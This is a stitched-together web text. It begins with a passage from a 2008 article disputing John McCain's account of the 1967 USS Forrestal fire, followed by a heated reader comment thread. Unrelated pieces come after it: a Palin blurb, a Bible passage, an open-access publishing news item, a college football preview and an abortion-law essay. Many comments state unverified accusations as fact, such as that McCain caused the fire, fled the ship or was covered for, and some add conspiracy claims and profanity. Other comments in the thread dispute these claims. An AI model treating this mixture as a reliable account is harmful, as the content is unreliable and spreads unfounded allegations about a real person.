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Investigating John McCain's Tragedy at Sea
Posted on Oct 7, 2008
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A week after the fire, McCain made a statement in which he said that when he was on the hangar deck he noticed that he had a wound on his knee and small shrapnel cuts in his thigh and shoulder. He was not treated in sick bay, however, and he tells a story in "Faith of My Fathers" that seems to be at variance with the facts. He writes that he went to sick bay to have his wounds treated but when he got there, a "kid" who was "anonymous to me because the fire had burned off all of his identifying features" asked him if another pilot in the squadron was OK. When McCain replied that he was, the "kid" said "Thank God" and died before McCain's eyes. McCain said that experience left him "unable to keep my composure," and that is why he left sick bay without being treated.
Lt. j.g. Dave Dollarhide witnessed that encounter because he was in sick bay, having broken his hip escaping from his plane, which had been immediately to the left of McCain's when the blaze started. Dollarhide knew McCain and also the "kid," a young man whom McCain knew well because he was his own plane captain, Robert Zwerlein, who was terribly burned when the first bomb exploded on the ship. Notwithstanding McCain's dramatic account of witnessing someone die before his eyes, Zwerlein did not die then but instead was evacuated to the hospital ship USS Repose, where he expired three days later. On the basis of Dollarhide's account, if McCain left sick bay without being treated it was not because someone died before his eyes.3
McCain's actions after the fire show a determination to exit the ship as quickly as possible. When New York Times reporter Apple finished gathering his notes on the fire, McCain boarded a helicopter with him and flew to Saigon. Given that fires still burned on the ship and some of his fellow airmen were gravely wounded and dying, McCain's assertion that he left the carrier for "some welcome R&R" in Saigon has a surreal air. Apple, now dead, said nothing in his news reports about inviting McCain to leave the ship, although he did report talking to him in Saigon later that day. McCain does not mention receiving permission to leave the still-burning ship. Merv Rowland, a commander and chief engineering officer of the Forrestal at the time of the fire, told me that he had not known that McCain left the ship within 30 hours of the fire and that he found this "extraordinary." Rowland added that only the severely wounded were allowed to leave the ship and that no one, as far as he knew, would have been given permission to fly to Saigon for R&R. McCain's quick flight off the Forrestal meant that he missed the memorial service for his dead comrades held the following day in the South China Sea.
Not long after McCain left, the Forrestal set off without him on its somber voyage to Subic Bay in the Philippines, where it would undergo initial repairs. He rejoined the ship a week later when it was docked at Subic Bay. There he gave an official statement and asked for a transfer to the aircraft carrier Oriskany.
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The record suggests that after McCain left the burning Forrestal for the greater ease of Saigon, he saw his Navy career as being in jeopardy. Soon, he went to London, where his father, Adm. John S. McCain Jr., was stationed as commander in chief of the United States Naval Forces in Europe. Sen. McCain has written little about the fire, and his book does not mention any conversations with his father about bombs dropping from his plane on the Forrestal or his leaving the ship. However, it is difficult to imagine that he did not discuss the tragedy and his own personal difficulties because, by McCain's own account, his father had intervened on his behalf before. After seeing the admiral in London, McCain went to the French Riviera, where he spent his nights gambling at the Palm Beach Casino.6
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By sailorathisends, November 3, 2008 at 12:54 pm Link to this comment
Andy would you please review my postings here and either hammer me or agree with me on the single most important point I make.
That point is: There is a book endorsed by McCain about the Forrestal, and far too many documentary's to make sense for a single tradegy, even though it's yours and mine.
McCain participated in Situation Critical right about the time he became mentioned as a Presidential hopeful same as the book "Sailor's to the End".
All this media leads people to the absolute wrong conclusion. 'Old Ordinance' was to blame. I handled old ordinance from 1965, the whole Sea Campaign was fought with mixed bags of ordinance.
The BOOK is outright propoganda as the text on page 85 leaves you the reader to believe the ordinance was actually from 1935 while the author includes in the notes in the back that nobody else reads, he KNEW they were made from 53-55 which is not 'old' at all, ordinance has a very long shelf life and we don't just throw it away.
Andy, knowing what we know 'NOW' would YOU agree the cause was and the whole damned mess would not and could not have happened if not for individuals going against set in stone safety measure's, naval regulations. Negligent men made shortcuts that they did not report up the chain of command. Had they not done that the Zuni 'couldn't' have fired..
My suspiscion is that for the first time I'm aware of our government covered for rather then assigned blame where blame is obviously due, because ?, because?, Johnny was part of the decision making process.
His leaving to get instructions on how to testify (supposition) from his father is just too damning. All the excessive coverage and spinning coincidently beginning right at a critical time in his political career just seems to pat.
The whole smear smacks of coverup to me Andy and we get to be the goats.. We weren't hero's for handling live ordinance we were stupid, we weren't hero's for fighting the fires in our tee shirts, we were stupid, every documentary effort mentiones shit like that. The 'required' uniform of the day was tee shirts and dungaree's we don't get to pick what we'd like to wear in the Navy.
Officers make bad decisions and blow up the ship and the fire fighters and the lowly crewmen fighting fires, retrieving dead and wounded, are the only ones criticised..
I'd sure like to find the officer who figured out how to open the #3 Hangar bay doors just as we finally got the fires under control and started it all over again so I finally got asphixiated..
Behind HIM, I'd like to know who the bastard was who decided the place for corpses and body bags was right at the only hatch to get to the chow line. There are seventeen stories 1004 ftx 565 to put such carnage and somebody thinks the entire crew should have to see, smell, and live with mental pic that for the rest of their life.
Anyhow, Andy, thanks for the help back then, God Bless.. The short version of the question posed, WAS IT MEN that 'caused it' or was it 'old ordinance'. I don't think ordinance had an IQ but maybe I'm wrong.
Phooey to the talking head degree's up the wazzoo who can be so easily mislead and will NOT take up this investigation.. We of the crew are owed the real truth, the family's of our fallen are owed the truth. There is a Goat to be sacrificed, but power and money and the 'true' Elite, scare our chronicalers of the truth, even in this great nation.
Andy and I don't say we are hero's and nobody I know blatts about being a hero except the fifth dumbest in his class 'Shipwreck McCain". I think if he could have swam away he would have.
By Turner, November 2, 2008 at 6:23 pm Link to this comment
Why has McCain insisted on only releasing part of his war record? Obviously there are many parts in it that he does not want the public to know about. He is happy to dredge history in order to show us the " real Barack Obama ", however, how many of us know anything of McCain that he hasn't vetted and edited.
Fuck John McCain! National hero my ass. National and Internationatal disgrace!!! He will burn in hell much like those he left to burn on the Forrestal!!!
By queenie, November 1, 2008 at 10:00 am Link to this comment
I would like to hear John McCain tell his version of the tragedy on the U.S.S. Forretal. Or better still, have some of his Naval buddies on the ship tell what they saw and heard regarding the "hero" McCain!
By Andy, October 30, 2008 at 6:37 am Link to this comment
I was on board the USS Forrestal during the tragic fire July 29,1967.
I worked on the flight deck as an Aviation Technician for VAW-123.
The day of the fire was one that I will never forget. The rumor on board as I remeber it was that an A-4 did a wet start and ignited a missle that caused a chain re-action of explosions and fire. Most of the Navy personal that were injured or killed were actually night shift personal sleeping below the flight deck. I remember having to go into those sleeping qaurters and pulling completly charred bodies from bunks and putting them into body bags. Over one hundred thirty body bags were in the hanger bay when we finally pulled into the Phillipines. I heard they flew McCain off the ship before the fire was under control. Why? I don't know.
By sailorathisends, October 25, 2008 at 1:12 pm Link to this comment
My Dear J. M. Caiella,
Willfully eliminating regulations would be the 'cause' the 'effect' would be the Zuni went off resulting in an a standard issue weapon, the 1k used by the entire fleet detonating on deck.
I believe that much is irrefutable. Even you did not dispute that.
Mr. Kennedy left the site of his tradegy too, he sought advice before he faced the consequeces of his actions or reported his part at Chappaquadic. By leaving on the first available 'civilian' transportation to Siagon where he could communicate privately with advisors, seeek help and advice, Mr. McCain surely leaves himself open to question.
Did anyone else have the opportunity to get council and advice before making their statement. I didn't, did you? I didn't feel the need, did you?
If not for the illogical obviously flawed conclusions put before the public I would be at peace right now. Never knowing. It is the twisted logic that drags me forth and the question 'why is it so important' to spin the obvious and cover up for a crew things that in times past were openly addressed. Documentary's often name the names and condemn men for using bad judgement in their lifetimes sparing no feelings.
All the stuff for public consumption is crafted away from the obvious 'cause' toward the great unknown 'they' paranoics always reference. 'They' in this case being unknown Pentagon leaders and decision makers, when in fact the critical decisions were made 'at sea' by people who 'could be known' but are not.
Those who want to wear blinders and follow the leader without question, that is your right. Those who can and must think for themselves are entitled to real answers.
Especially this crew. However, when each crew member is donned a 'hero' for simply having survived in all the media, it does a lot to quell hard questions. "Some" of the men I served with are most certainly hero's of the highest order, facing the inferno without regard for their own safety. God Bless Them.
My question to J. M. Caiella would be, if the people who made the shipboard decisions are not unknown, please name them for us. We bare them no ill will, we would love for them to live in peace and be left alone, but we suspect that one of them could one day aspire to leadership where daredevelry, impulsive behaviour, and inattention to detail could cause others harm.
By J. M. Caiella, October 24, 2008 at 3:17 pm Link to this comment
There must be a cogent response to accusations and statements of alleged fact in the comments by Sailorathisends.
By shanen, October 18, 2008 at 11:33 pm Link to this comment
McCain is just a very secretive fellow, though since he picked Palin I'm much more concerned about his medical records than his military records. Bride of Caesar? Or taking the Fifth? Voters in an actual democracy should have access to sufficient information to evaluate the candidates for public office.
I think the truth is usually found between the extremes. In this case, McCain's version is one extreme, but this article is *NOT* the extreme on the other end. However, many parts of the story could be examined—and the first step in getting the truth would be for McCain to release his military records. That is an obvious starting point, and it makes me deeply suspicious that he has not done so. My own military records are certainly not particularly glorious, but I would certainly feel obliged to release them if I were running for public office.
Everyone makes mistakes. However not everyone learns from them… Palin is just McCain's largest recent mistake.
By Sailorathisends, October 18, 2008 at 7:36 pm Link to this comment
It is my duty to those men who served honorably, died honorable, and did not have a Admiral daddy. McCain did not participate in saving the ship by his own admission while I was helping wounded and a friend had to remove the skin from fingertips to print the many, many, unrecognizable body's.
By A. Z. Arrow, October 18, 2008 at 6:25 pm Link to this comment
McCain has his tantrums, and several revealing numinous moments as a Napoleonic-like psycho case.
By Dave Dollarhide, October 18, 2008 at 4:44 pm Link to this comment
I was in sick bay until we docked at Subic Bay, but my roommate was keeping me in the loop until I was taken to the hospital there. I rejoined the squadron a month later, when they returned to Jacksonville.
McCain had just been promoted to LCDR, which gave us an overkill of 13 LCDRs in the squadron. For the most part, he was just another pilot.
The day after the accident, McCain asked the CO of our squadron, CDR Fred Dunning if he could take leave. It was granted…not really a big deal at all. With 5,000 people aboard and no flight operations to be conducted, there was little to do for air wing personnel during the four weeks it took the ship to return to Jacksonville, then on to Norfolk. There were others on the ship given leave also.
This was never an issue with anyone in the Navy and we didn't think twice about it.
By Dave Dollarhide, October 17, 2008 at 5:41 pm Link to this comment
Mary Hershberger's article, Investigating John McCain's Tragedy at Sea, is the most bogus twisting of the facts surrounding our terrible accident in 1967 to date. My name is Dave Dollarhide and I was there.
Hershberger made contact with me recently and said she was just learning of the USS Forrestal fire and as a history professor was very interested in the facts. After letting me talk about my personal experience as an A-4 pilot for a while, she began asking numerous questions about John McCain that I eventually realized were aimed at finding any inconsistencies in his story. Our tragedy is not a place for political muckraking and I backed away from the conversation.
One theme from Hersberger's article is that somehow, McCain contributed to the disaster by dropping one of his bombs to the flight deck.
Imagine this. A ten foot long rocket fires at supersonic speed into the four hundred gallon drop tank of the adjacent airplane twenty feet away. There was an instantaneous fuel explosion strong enough to rock McCain's airplane and mine. Shrapnel ripped through deck personnel outside our airplanes and some flew under us hitting an A-4 in his drop tank a hundred feet or so forward of our position. A chaotic conflagration followed. After the fuel tank blast, McCain's airplane was immediately surrounded by fire, which also rolled under my right wing.
At this moment, does anyone really think he would take the time to reach over and with one hand hold a latching switch and the other hand pull the gear handle up to bypass the ground safety system that prevents inadvertent firing of weapons. After that, he would need to arm the bomb's station select switch, followed by turning on the master arm switch, then depress the bomb release button?????? Insane! With the adrenalin flowing, we were just trying to get out of our cockpits and there is no way these things could have been done accidentally. This all happened before the bombs started exploding.
Hershberger also says, "There was, in fact, a single bomb—not two—that dropped to the deck." She has no way of knowing that! Neither do I and I was there, injured on the deck no more than fifty feet from the bomb in front of McCain's airplane when it exploded.
There were nine one thousand bombs that exploded on the deck and most of them probably dropped to the deck before detonating. One explosion was behind McCain's airplane and was very likely his second bomb to fall to the deck.
The fire caused the small explosive charges (CAD) in each bomb rack to ignite, forcing the ejector foot of each rack to extend, pushing the bombs to the deck. …no switches required here. The same high temperature later caused the M-65 bombs to detonate. Hershberger uses unnamed "persons familiar with the ordnance" in her assertion that only pilot action could have caused a bomb to drop from an airplane. She has quoted people who are misinformed.
I have no doubt that McCain thought the rocket hit his airplane. This all happened in a few seconds and there was mass confusion. Most certainly, he did nothing to contribute to the tragedy. Hershberger's assertion is completely irresponsible.
Other facts in her account are also false.
Hershberger obviously has political motives in writing this article. Her politics are no business of mine, but she claims to be a historian in talking about a tragedy where many suffered and died. A true historian is dedicated to preserving events of the past as they occurred. She has engaged in exactly what she accuses John McCain of doing and has twisted history to suit her needs.
By Robert, October 14, 2008 at 4:21 am Link to this comment
His military records need to be released. He is hoping people are dead or too old to remember or care. Was he a person who because of his clout of an admiral grandfather and father given special treatment when the regular person would have been kicked out of the naval academy and later military or tortured as a POW when he got special treatment instead? Did Henry Kissinger save the McCain family from disgrace cause the Vietnamese were going to release him "Little Prince" and not other POW.s? What is the truth of his entire life and career?
The republican's put a lying smear campaign of hate and fear out there like they did with Bush for the people to swallow but we want the truth this time not the lies again.
By Arrow, October 10, 2008 at 10:14 am Link to this comment
McCain has his tantrums, and several revealing numinous moments as a Napoleonic-like psycho case.
The following clip is offered as proof: it demonstrates one such tirade of a would-be tyrant—we know he is a liar—and this conduct definitely disqualifies "Johnny boy" as a potential President of the UNITED States:
By Barry R. Nicholson, October 9, 2008 at 4:01 pm Link to this comment
RightWing, thanks again for the "heads up".
Your admission that "The inquiry to this accident was just completed about 8 years ago, yes a very long time." That is nearly 34 years AFTER the incident occurred! That should raise a red flag to any reader with a critical mind especially as McCain had risen to become a serious contender for the Republican presidency at the time of this investigation.
Now whether the Zuni rocket pins are inserted in the rear or nose http://www.midwaysaircraft.org/images/A4 002.jpg does not preclude your answering my question "how in the hell could the protective pins inserted in the rear [nose]of each Zuni rocket be blown out by the wind and onto the ships deck (which the investigator said had been reported to happen more than once previously because these pins were found all over the ships deck! I seriously question this happening even in a hurricane, don't you? Just what kind of weapons designers and manufacturers does America have? I have always observed we have the finest haven't you? This is bull shit!
Third, if these pins were known to blow out onto the deck by the wind, then don't you think the ships weapons co-ordination board would have been aware of this and NOT allowed pigtails to be inserted early or are our best in the world trained naval personnel just a bunch of morons and overlook these things or do not report them to their superiors? Bull shit!
As I stated before I find it astonishing that all three errors would and supposedly did occur to set the Zuni rocket off accidentally starting with the alleged meeting when the "ship's weapons co-ordination board met to discuss the men's concerns a month before the fire [where] it ruled that flight crews could ignore Navy protocol on connecting the 'pigtails.' From now on they could plug them in not when the planes were on the catapult facing out to sea, but when they were on the rear deck facing each other. The ruling was never made official, but the crew began to act on it straight away." Really???
Regarding the "rogue" power surge that is THEORIZED to have allegedly caused an electrical charge to fire off the Zuni rocket and your comparison of it to TWA Flight 800 blowing up and crashing into the Atlantic should raise a RED FLAG to any reader who has the least bit of knowledge about the latter's investigation that this was just that, a theory, and suggested probable cause. However, eyewitness reports certainly suggested other probable causes, but with the suppression of evidence and the actual outright deception that we all know so well has occurred in the history of this country beginning with the Battleship Maine, Pearl Harbor, Gulf of Tonkin, the Liberty incident, Oklahoma City Murrah Federal Building, and now the events of 9/11/2001 one must look a little closer at the motives and methods of the belated Forrestal Fire Investigation and how it arrived at its conclusions.
Like I said previously, there should be an investigation of the investigation.
By Greg Gardner, October 9, 2008 at 8:18 am Link to this comment
What purpose is this informating really serving? I've yet to read a response that justifies this information newsworthy.
PS - Spraying to all whinners, move on, and move forward.
By mystic, October 8, 2008 at 10:27 pm Link to this comment
I am in no position to judge, but what bothers me most is that McCain has not authorised the release of both his military AND medical records.This makes one assume that whatever he has got to hide is not complimentary to his position on the respective issues, tantamount to lying. He could clear this up with release of his records and has chosen not to do so.
By Barry R. Nicholson, October 8, 2008 at 5:47 pm Link to this comment
Thank you for the "heads up" link on YouTube titled Forrestal Disaster (Aircraft Carrier Explosion). I viewed all five of the segments Forrestal Disaster (Aircraft Carrier Explosion) and I was left with even more questions.
I won't go into a complete de-bunking of this investigation as I neither have the time, money, or requisite professional knowledge to do so. But there are a few astonishing and questionable revelations that the investigator Radm. Massey came to during his probe.
First, I find it astonishing that all three errors would and supposedly did occur to set the Zuni rocket off accidentaally starting with the alleged meeeting when the "ship's weapons co-ordination board met to discuss the men's concerns a month before the fire [where] it ruled that flight crews could ignore Navy protocol on connecting the 'pigtails.' From now on they could plug them in not when the planes were on the catapult facing out to sea, but when they were on the rear deck facng each other. The ruling was never made official, but the crew began to act on it straight away." Really???
Neatly inserted are video frames of a tape recorder as if the investigator had a recording of the meeting of the ships weapons co-ordination board and its unofficial ruling. Just what were the crews "concerns" being discussed and why would this dangerous procedure be adopted and just how much more efficient and effective would this new procedure be anyway. I require a lot more information here as I hope you would including the tapes! Until then, this is bull shit!
Secondly, how in the hell could the protective pins inserted in the rear of each Zuni rocket be blown out by the wind and onto the ships deck (which the investigator said had been reported to happen more than once previously because these pins were found all over the ships deck! I seriously question this happening even in a hurricane, don't you? Just what kind of weapons designers and manufacturers does America have? I have always observed we have the finest haven't you? This is bull shit!
Third, if these pins were known to blow out onto the deck by the wind, then don't you think the
Fourth, according to the official conspiracy theory, when the F-4 Phantom II switched over from external power to internal power a "rogue" power surge occurred that just happened to send an electrical current to the Zuni rocket that just happened to have its protective pin blown out by the wind that day and unintentionally fired because the new unofficial and I would add unjustifiable and criminally reckless procedure of plugging in the pigtail while the planes rockets were pointing directly at the other planes across the flight deck had been carried out. BULL Shit!!!!
There ought to be an investigation of the investigation!
Note also in the OFFICIAL TRAINING FILM "Trial By Fire: A Carrier Burns" that the United States Navy requires all of its flight deck training personnel to view that there is conveniently inserted a video clip of a jet plane firing a missle across the deck of an aircraft carrier while the planes wings are folded leading one to believe this is an actual archive video of the F-4 Phantom II that acccidentally fired its Zuni rocket to cause the fire on the Forrestal! except for the fact that this jet is firing its rocket ito the open ocean, the Forrestal's A-4's were reading for take off with their wings down, and there is NO archive video of this actual event happening on the Forrestal!
I would suggest we go back to the port side of the Forrestal and concentrate on the area underneath the three (3) A-4's (one of which was McCains) where the fire started and look for the cause of the fire there.
By Donald from Hawaii, October 8, 2008 at 4:03 pm Link to this comment
Let me state up front that (a) I support Barack Obama, and (b) I lost my father in the Vietnam War.
That said, while there are a lot of things for which I take issue with John McCain, his service in Vietnam certainly isn't one of them.
Obviously, McCain—who very could well have lost his life in the Forrestal tragedy—has his own unique personal perspective on what happened that day, and I'll not dispute what he remembers about the accident. Certainly, the extraordinarily close proximity of that missile's errant path could well have left him with the understandable impression that his own A-4E aircraft had also been struck along with the jet just in front of him.
The Vietnam War's been over for 33 years. Let's move on, please. It serves no good purpose to dredge up this unfortunate incident.
By Android, October 8, 2008 at 9:53 am Link to this comment
It's between him and his God. Beyond speaking to an embellished & grandized military career as legacy of 2 Admirals, has absolutely nothing to do with his capacity to serve as President. I do not support McCain, but I truly detest the attention that these "Character Issue" & "Values" detract from real issues and the candidates' solutions. Less fluff, more truth please.
By kathy kang, October 8, 2008 at 7:44 am Link to this comment
Thanks for the article that got us thinking. I'm a 60 year-old proud naturalized American who always believed in American Dream and have fulfilled that dream,believing in hard work with integrity and paying back to society. My long-held respect for McCain as a true hero has been disappearing gradually as I watch his disgraceful conducts during this campaign,past few weeks in particular. As an undecided voter I'm very saddened to admit that I no longer know what he really is—-he certainly does not deserves to be called Maverick or Hero; his pattern of disingenuous behaviors have lead me to conclude that he is NOT a man of true genuine integrity. I feel very torn and lost,yet quite thankful that I have seen the True Color of McCain before he is placed in the White House with his propped up attack dog,Palin,who is being used for the sole purpose of smearing his opponent by throwing anything at him,hoping something may stick.Sadly we may never know the real truth behind the incident on the fateful day in Vietnam,but as sad and bewildered as I feel, I am comforted by the fact that one person on earth knows the whole truth,deep in his heart and has to carry the truth to his grave in the end—-that person is John McCain.
By Barry R. Nicholson, October 7, 2008 at 9:58 pm Link to this comment
I suggest you read another version of the Forrestal fire "Navy Releases McCain's Records" http://rockcreekfreepress.com/
Also view
McCain and the Forrestal fire http://www.youtube.com/watch?v=pIWeq2DL_N4&NR=1
USS Forrestal Mishap July 29, 1967 http://www.youtube.com/watch?v=chuiyXQKw3I
John McCain escapes Forrestal explosion http://www.youtube.com/watch?v=rxGV-eRUC_0
By Marnie, October 7, 2008 at 7:43 pm Link to this comment
Thank you for this article.
Both have spent their adulthood trying to prove their manhood and superiority and both have not only failed utterly, but have caused great harm to others and to this nation. They are both an international embarrassment to this nation.
That a military Commander would leave his subordinates to die trying to save their fellow crew men and to not be a part of the crew's efforts to save their ship (the fire got below decks and spread and burned for several days. In a ship filled with munitions and jet fuel anyone who stayed on board risked being blown to bits.) is about the most disgusting thing that could be said about a military officer.
Bobby Hurd a member of my Sunday School class was a nurse on the Forrestal. He, and may others on the Forrestal became a men that day. McCain became a yellow bellied capon, and wants to become the next Commander-in-Cheep.
By Arrow, October 7, 2008 at 2:31 pm Link to this comment
Right wing:
In the USS Forrestal fire Mc Cain was not injured. He fled for his life to the Oriskany
Important: for an additional account of your hero's character please be sure to read the article by TIM Dickinson.
>Vietnam Memorial Wall: The Virtual Wall - USS FORRESTAL CVA-59 29 July 1967
>Please turn on your sound system for this reference:
By Arrow, October 7, 2008 at 12:41 pm Link to this comment
I guess you missed my point. So,
Further in the recent issue of Rolling Stone, "Make-Believe Maverick," Tim Dickinson, writes:
"The damage to the USS Forrestal was far more grievous: The explosion set off a chain reaction of bombs, creating a devastating inferno that would kill 134 of the carrier's 5,000-man crew, injure 161 and threaten to sink the ship"
Because McCain's dad was the Admiral in charge of Vietnam war operations the brass attempted to blame the fire on the dead Phantom pilot, but with so many of the USS Forrestal's crew as direct witnesses, the investigation could not be white washed. The investigation was left bureaucratically "inconclusive." This "FIRE" should have ended John McCain's Navy career. His incompetence as a flier led instead to him being captured by the North Vietnamese. He should never have surrendered nor have made those statements against his country. In his the first debate with Obama the excuse Mc Cain offered is, as he says, "I broke down." This is a lame excuse. So, being a prisoner of war does not automatically translate into being a "Hero" –or, in the case of John McCain, a self proclaimed hero.
An accident, in part, perhaps? But it also needs to be acknowledged that the "FIRE" on the USS FORRESTAL was (and is) essentially a symptom of McCain's lack of seriousness: of his ongoing failure to assume personal responsibility for his acts. Beyond that, it can be argued that the fire and cover-up is certainly characteristic of his BAD JUDGEMENT.
By Arrow, October 7, 2008 at 10:56 am Link to this comment
According to some contemporary reports McCain "wet started his Skyhawk engine:
"'Wet starting" was "a common practice among young 'hot-dog' pilots."
Zuni Rockets Were Volatile Design
"In McCain's case, the 'wet-start' 'cooked off' launched the M34 Zuni rocket from the
"When the carrier Oriskany came along side[the USS Forrestal] McCain was put in a chopper and whisked away. McCain was the only Forrestal crewman to be immediately transferred to the USS Oriskany. . . I have a hunch McCain left for his own safety because the crew wanted blood."
Further,n a recent issue of Rolling Stone ,"Make-Believe Maverick," Tim Dickinson, writes:
"The damage to the USS Forrestal was far more grievous: The explosion set off a chain reaction of bombs, creating a devastating inferno that would kill 134 of the carrier's 5,000-man crew, injure 161 and threaten to sink the ship"
Because McCain's dad was the Admiral in charge of Vietnam war operation the brass attempted to blame the fire on the dead Phantom pilot, but with so many of the USS Forrestal's crew as direct witnesses, the investigation. So the investigation was left bureaucratically "inconclusive."
This "FIRE" should have ended John McCain's Navy career. His incompetence as a flier lead instead to him being captured by the North Vietnamese. He should never have surrendered, or made those statement against his country. His excuse is, as he said in the first "debate' with Obama, is "I broke down." A lame excuse. Being a prisoner of war does not automatically translate into being a "Hero"—or in the case of John McCain a self-proclaimed hero.
An accident, yes, but only in part. —The "FIRE" on the USS FORRESTAL essentially demonstrates a lack of seriousness and a failure to assume personal responsibility for one's acts. And certainly, extremely BAD JUDGEMENT.
1967 USS Forrestal fire - Wikipedia, the free encyclopedia
On 29 July 1967, an unusual electrical anomaly caused a fire aboard the aircraft carrier USS Forrestal (CV-59) which was conducting chttp://en.wikipedia.org/wiki/ 196…_Forrestal_fire
Vietnam Memorial Wall: The Virtual Wall - USS FORRESTAL CVA-59 29 July 1967
When placed in commission on 01 October 1955, USS FORRESTAL was the first ... The third round of detonations cleared the deck of men and fire-fighting gear, ...
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Sarah Palin: Palling Around With Secessionists (Video)!
There is a reason why McCain Adviser says that if we "talk about the Economy, we will lose!" That is because they have no good ideas on the economy for the Middle Class. Their ideas and solutions only benefit the rich, well-off and well-connected!
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57 As they were going along the road, someone said to him, I will follow you wherever you go. 58And Jesus said to him, Foxes have holes, and birds of the air have nests; but the Son of Man has nowhere to lay his head. 59To another he said, Follow me. But he said, Lord, first let me go and bury my father. 60But Jesus* said to him, Let the dead bury their own dead; but as for you, go and proclaim the kingdom of God. 61Another said, I will follow you, Lord; but let me first say farewell to those at my home. 62Jesus said to him, No one who puts a hand to the plough and looks back is fit for the kingdom of God.
The New Revised Standard Version (Anglicized Edition), copyright 1989, 1995 by the Division of Christian Education of the National Council of the Churches of Christ in the United States of America. Used by permission. All rights reserved.
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Open access publishing offers economic benefits, says UK research – 29 Jan 2009
The UK's Joint Information Systems Committee (JISC) has commissioned a new research project to study the economic and social implications of new models for scholarly publishing. According to the findings of the research, sharing research information via a more open access (OA) publishing model would bring millions of pounds worth of savings to the higher education sector apart from benefiting corporate UK. Prof. John Houghton from the Centre of Strategic Economic Studies at Melbourne's Victoria University and Prof. Charles Oppenheim at Loughborough University were asked to lead the research.
The research centred on three models – subscription or toll access publishing which involves reader charges and use restrictions; OA publishing where access is free and publication is funded from the authors' side; and OA self-archiving where academic authors post their work in online repositories, making it freely available to all Internet users.
The research and findings reveal that core scholarly publishing system activities cost the UK higher education sector around £5 billion in 2007. Using the different models, the report shows what the estimated cost would have been. When considering costs per journal article, the researchers believe that the UK higher education sector could have saved around £80 million a year by shifting from toll access to OA publishing. They also claim that £115 million could be saved by moving from toll access to OA self-archiving.
In addition to that, the financial return to the UK industry from greater accessibility to research might result in an additional £172 million per annum worth of benefits from government and higher education sector research alone.
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Brevard, N.C. - The Tornados welcome Catawba College on Saturday afternoon for their final home game of the season in which Brevard will recognize their first four-year class of senior football players, as well as celebrate Homecoming and induct two former Tornado athletes into the BC Hall of Fame.
Brevard comes into this afternoon's matchup having dropped their past two games, 28-12 to Mars Hill and 77-7 to Carson-Newman this past weekend and the Lions and Eagles both held the Tornados NCAA #7-ranked rushing attack under 100 yards.
Senior fullback Xavier Johnson led the way against the Eagles this past week with 64 yards on 15 carries, scoring from 21-yards out in the second quarter and will potentially be looked to carry the load this week against the visiting Indians, spelling the Tornados battered backfield.
The Tornados rushing attack will look to take advantage of the Indians' seventh-ranked rush defense who averages allowing 174.4 yards per game on the ground. Looking to stop the Brevard attack will be the trio of Lakeem Perry who leads the team with 55 tackles, while freshman linebacker Cory Johnson is second on the team with 47. Linemen Melquan Fair and Brandon Sutton have combined for 31 tackles for loss in the 2009 season and will look to clog up the running lanes to allow Perry and Johnson to operate.
Catawba started off the season winning their first three games, but since then have hit the wall, dropping four of their past five, including their first three South Atlantic Conference contests before defeating Tusculum two weeks ago in Greeneville, Tenn. The Indians offense is led by quarterback Pat Dennis who has thrown for over 1,100 yards this season and 12 touchdowns on the year, compared to four interceptions.
Catawba has seven receivers with at least 10 receptions this season, led by Eric Morman with 30 grabs for 328 yards and score, while Brandon Bunn has 25 catches for 449 yards and 11 touchdowns. Gerron Bryant leads the team in receiving with 518 yards on the season, averaging 21 yards per catch.
Against them comes the Tornados secondary, headlined by sophomore safety Michael Gist who leads the South Atlantic Conference in interceptions with five on the season. Donald Hudson, Salonik Amos, Austin Williams and Dwayne White have combined for five interceptions and three fumble recoveries and will look to take away the Indians' passing game.
If the passing attack stalls, Antonio Hall, Catawba's leading rusher will look to try to make a dent against the Tornados front seven led by the SAC's leading tackler in Stanley Jones who comes into the contest averaging 10.2 tackles per game. He is joined by fellow linebackers Brandon Rawls and Prince Simunyu, as well as defensive linemen Richard Ray and Justin Jefferson who lead the Tornados defense which is ranked fourth in the SAC.
In last season's matchup, the Indians won 24-10 against Brevard in Salisbury. Catawba running back Jamelle Cuthbertson gained 156 yards on 16 carries and two touchdowns. Lakeem Perry made 15 tackles for the Indians, while the Tornados gained 202 yards on the day, including 183 rushing. Donald Hudson ran for 52 yards on 12 carries, while Michael Gist made 10 stops on defense and Salonik Amos chipped in with eight tackles and an interception.
The Tornados will be recognizing the 25 seniors on this year's squad before the game and thanking their contributions to the program as Brevard recognizes their first four-year class. In addition to the pregame recognition, Brevard College is also recognizing the 2009 Homecoming Court during halftime and will also be inducting Danny Bost (class of 1962) and Alice Gaines Coddington (class of 1989) into the Brevard College Hall of Fame.
Fans can gain free admittance to the Brevard-Catawba game by helping out the Brevard College Athletic Trainers in their annual Toys for Tots Drive. Any fan who donates a new, unwrapped toy gains free admittance to the game and the toys will be collected in the collection bins located at the gates around the stadium.
The kickoff time for Saturday's game is set for 1 p.m. at Brevard Memorial Stadium in Brevard, N.C. The shuttle buses begin running at 11 a.m. and the gates will open at that time as well, two hours prior to the opening kickoff.
General admission to the game is $10 for adults and tickets will be given away all week by WSQL Radio, with an average of four given away per hour. Lucky winners will also have the chance to win two sets of four VIP passes (which grant the winner access to the hospitality tent and priority seating at the football game).
As always, if you are unable to make the game in person, you can catch the game via live broadcast brought to you by the "Voice of the Tornados" Jim Stewart over the radio at WSQL 1240 AM or over the Internet at www.wsqlradio.com. You may also visit the Brevard College Athletics website at www.BCTornados.com and click on the LiveStats link located on the left-hand side under the "Tornados Links" section.
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On September 28, 2013 a judge struck down a Texas bill restricting abortion. The judge ruled that parts of the law violate the constitutional rights of women, by placing undue strain on doctors performing abortions. Pro-abortion groups praised the decision as giving private decisions back to women and their doctors. Conservative voices vowed to continue the fight to preserve the unborn life. Then, three days later (on Halloween), an appellate court reinstated most of the parts of the law previously struck down. The two sides, based on the same respective criterion, switched their tunes accordingly.
This is just one small skirmish in the ongoing civic conflict over abortion's place in American culture, a battle allegedly over fundamental constitutional rights. Regardless of the issues in this bill about health standards, the effect will be to permit or shut down abortion clinics that cannot or refuse to comply. It comes down to whether abortion is advanced or hindered, bringing us to the basic debate over the procedure itself. Those who support abortion argue that women have the right to decide over their own bodies, and thereby choose whether to keep a pregnancy or terminate the fetus before or during birth. Those who are against abortion argue that the fetus in the womb has the right to be protected, that ending the pregnancy is simply murdering an unborn child.
Both argue they have constitutional grounds, but technically that's not the issue. The United States Constitution was not originally written, nor has it been subsequently amended yet, to describe what the rights are in the case of abortion. It is highly arguable that the Founders, most of them religious, would not be on abortion's side; but such conjecture, even if true, is not binding upon the current population. For now, the Constitution is not the authority on abortion. Rather it is state law and Supreme Court rulings (as yet the latter has only allowed abortion, not defined it as constitutional or not).
